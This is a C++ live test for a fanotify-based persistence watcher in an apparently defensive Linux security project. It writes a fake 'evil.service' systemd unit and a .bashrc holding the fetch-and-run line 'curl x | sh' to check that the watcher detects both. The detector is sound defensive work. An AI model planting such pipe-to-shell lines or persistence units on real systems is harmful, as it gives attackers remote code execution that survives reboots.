strawberry/tests/file_watch_live.cpp
trvon 1d1ab9f57e
Add exec prevention, behavior telemetry and persistence watch
fanotify exec-permission guard (audit/enforce, fail-open deadline),
eBPF behavior engine (IOC connections, ptrace, module loads,
download-then-execute) and fanotify persistence watch, with unit tests
and privileged Docker live tests.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-25 18:17:16 -06:00

58 lines
2.1 KiB
C++

// Live fanotify persistence/drop watcher check. Needs root.
#include "strawberry/file_watch.hpp"
#include <cassert>
#include <chrono>
#include <filesystem>
#include <fstream>
#include <iostream>
#include <mutex>
#include <thread>
#include <vector>
#include <unistd.h>
namespace fs = std::filesystem;
using namespace strawberry;
int main() {
if (::geteuid() != 0) {
std::cout << "SKIP: file_watch_live needs root" << std::endl;
return 0;
}
// tmpfs: overlayfs (container roots) does not export the file handles
// FAN_REPORT_DFID_NAME needs.
const auto base = fs::path("/dev/shm") / ("sb-watch-" + std::to_string(::getpid()));
fs::create_directories(base / "units");
fs::create_directories(base / "home");
std::mutex mutex;
std::vector<FileWriteEvent> events;
FileWatcher watcher;
const bool started = watcher.start(
{{(base / "units").string(), "persistence", "systemd unit", {}, true},
{(base / "home").string(), "persistence", "shell rc file", {".bashrc"}, false}},
[&](const FileWriteEvent& e) { std::lock_guard l(mutex); events.push_back(e); });
if (!started) {
std::cerr << "FAIL: " << watcher.error() << std::endl;
return 1;
}
std::ofstream(base / "units" / "evil.service") << "[Service]\nExecStart=/tmp/x\n";
std::ofstream(base / "home" / ".bashrc") << "curl x | sh\n";
std::ofstream(base / "home" / "notes.txt") << "ignored\n";
std::this_thread::sleep_for(std::chrono::milliseconds(600));
watcher.stop();
std::lock_guard l(mutex);
bool unit = false;
bool rc = false;
for (const auto& e : events) {
assert(e.pid == ::getpid());
assert(e.path.find("notes.txt") == std::string::npos);
unit |= e.path == (base / "units" / "evil.service").string() && e.label == "systemd unit";
rc |= e.path == (base / "home" / ".bashrc").string() && !e.system_scope;
}
assert(unit && rc);
fs::remove_all(base);
std::cout << "file_watch_live: ALL PASSED (" << events.size() << " events)" << std::endl;
return 0;
}